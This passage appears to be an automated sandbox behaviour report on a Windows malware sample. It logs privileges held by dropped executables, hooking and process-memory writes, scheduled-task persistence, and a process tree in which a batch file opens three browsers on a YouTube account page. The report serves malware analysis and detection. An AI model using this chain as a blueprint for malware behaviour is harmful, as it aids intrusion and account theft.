Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\n7Gs36sXpC.exe N/A
Token: SeBackupPrivilege N/A C:\Users\Admin\AppData\Roaming\n7Gs36sXpC.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\n7Gs36sXpC.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\n7Gs36sXpC.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\n7Gs36sXpC.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\n7Gs36sXpC.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\PwvRO6hIoT.exe N/A
Token: SeBackupPrivilege N/A C:\Users\Admin\AppData\Roaming\PwvRO6hIoT.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\PwvRO6hIoT.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\PwvRO6hIoT.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\PwvRO6hIoT.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\PwvRO6hIoT.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\1000027001\buildred.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\System32\conhost.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\System32\conhost.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\powercfg.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\powercfg.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\powercfg.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\powercfg.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\powercfg.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A
N/A N/A C:\Windows\System32\conhost.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Users\Admin\1000029002\5337807864.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1352 wrote to memory of 3924 N/A C:\Users\Admin\AppData\Local\Temp\1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
PID 1352 wrote to memory of 3924 N/A C:\Users\Admin\AppData\Local\Temp\1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
PID 1352 wrote to memory of 3924 N/A C:\Users\Admin\AppData\Local\Temp\1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
PID 3924 wrote to memory of 2420 N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe C:\Users\Admin\AppData\Local\Temp\1000020001\57b802a7d7.exe
PID 3924 wrote to memory of 2420 N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe C:\Users\Admin\AppData\Local\Temp\1000020001\57b802a7d7.exe
PID 3924 wrote to memory of 2420 N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe C:\Users\Admin\AppData\Local\Temp\1000020001\57b802a7d7.exe
PID 2420 wrote to memory of 2148 N/A C:\Users\Admin\AppData\Local\Temp\1000020001\57b802a7d7.exe C:\Windows\system32\cmd.exe
PID 2420 wrote to memory of 2148 N/A C:\Users\Admin\AppData\Local\Temp\1000020001\57b802a7d7.exe C:\Windows\system32\cmd.exe
PID 2148 wrote to memory of 4248 N/A C:\Windows\system32\cmd.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2148 wrote to memory of 4248 N/A C:\Windows\system32\cmd.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2148 wrote to memory of 2188 N/A C:\Windows\system32\cmd.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2148 wrote to memory of 2188 N/A C:\Windows\system32\cmd.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2148 wrote to memory of 1168 N/A C:\Windows\system32\cmd.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2148 wrote to memory of 1168 N/A C:\Windows\system32\cmd.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4248 wrote to memory of 564 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4248 wrote to memory of 564 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2188 wrote to memory of 4048 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2188 wrote to memory of 4048 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1168 wrote to memory of 3108 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1168 wrote to memory of 3108 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1168 wrote to memory of 3108 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1168 wrote to memory of 3108 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1168 wrote to memory of 3108 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1168 wrote to memory of 3108 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1168 wrote to memory of 3108 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1168 wrote to memory of 3108 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1168 wrote to memory of 3108 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1168 wrote to memory of 3108 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1168 wrote to memory of 3108 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3108 wrote to memory of 3324 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3108 wrote to memory of 3324 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3108 wrote to memory of 3324 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3108 wrote to memory of 3324 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3108 wrote to memory of 3324 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3108 wrote to memory of 3324 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3108 wrote to memory of 3324 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3108 wrote to memory of 3324 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3108 wrote to memory of 3324 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3108 wrote to memory of 3324 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3108 wrote to memory of 3324 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3108 wrote to memory of 3324 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3108 wrote to memory of 3324 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3108 wrote to memory of 3324 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3108 wrote to memory of 3324 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3108 wrote to memory of 3324 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3108 wrote to memory of 3324 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3108 wrote to memory of 3324 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3108 wrote to memory of 3324 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3108 wrote to memory of 3324 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3108 wrote to memory of 3324 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3108 wrote to memory of 3324 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3108 wrote to memory of 3324 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3108 wrote to memory of 3324 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3108 wrote to memory of 3324 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3108 wrote to memory of 3324 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3108 wrote to memory of 3324 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3108 wrote to memory of 3324 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3108 wrote to memory of 3324 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3108 wrote to memory of 3324 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3108 wrote to memory of 3324 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3108 wrote to memory of 3324 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3108 wrote to memory of 3324 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3108 wrote to memory of 3324 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3108 wrote to memory of 3324 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Users\Admin\AppData\Local\Temp\1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe

"C:\Users\Admin\AppData\Local\Temp\1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe"

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

"C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

C:\Users\Admin\AppData\Local\Temp\1000020001\57b802a7d7.exe

"C:\Users\Admin\AppData\Local\Temp\1000020001\57b802a7d7.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\96E1.tmp\96E2.tmp\96E3.bat C:\Users\Admin\AppData\Local\Temp\1000020001\57b802a7d7.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account"

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.106 --initial-client-data=0x108,0x10c,0x110,0xe4,0x114,0x7ffa0937cc40,0x7ffa0937cc4c,0x7ffa0937cc58

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x10c,0x110,0x114,0xe8,0x118,0x7ffa09233cb8,0x7ffa09233cc8,0x7ffa09233cd8

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1960 -parentBuildID 20240401114208 -prefsHandle 1868 -prefMapHandle 1856 -prefsLen 23678 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {bf7d0cbe-6632-4b6f-a403-b712220ced9b} 3108 "\\.\pipe\gecko-crash-server-pipe.3108" gpu

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1832,i,14670228167070528150,14342933958015684702,262144 --variations-seed-version=20240730-050116.493000 --mojo-platform-channel-handle=1828 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2104,i,14670228167070528150,14342933958015684702,262144 --variations-seed-version=20240730-050116.493000 --mojo-platform-channel-handle=2124 /prefetch:3

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2204,i,14670228167070528150,14342933958015684702,262144 --variations-seed-version=20240730-050116.493000 --mojo-platform-channel-handle=2216 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2024,226120936506112307,10318380157307821196,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2036 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2024,226120936506112307,10318380157307821196,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2024,226120936506112307,10318380157307821196,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2736 /prefetch:8

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2416 -parentBuildID 20240401114208 -prefsHandle 2384 -prefMapHandle 2380 -prefsLen 24598 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c508cdfc-2b7c-4165-aa31-e7b79549574e} 3108 "\\.\pipe\gecko-crash-server-pipe.3108" socket

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,226120936506112307,10318380157307821196,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3176 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,226120936506112307,10318380157307821196,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3288 /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3060,i,14670228167070528150,14342933958015684702,262144 --variations-seed-version=20240730-050116.493000 --mojo-platform-channel-handle=3088 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3084,i,14670228167070528150,14342933958015684702,262144 --variations-seed-version=20240730-050116.493000 --mojo-platform-channel-handle=3112 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

"C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"

C:\Program Files\Mozilla Firefox\firefox.exe

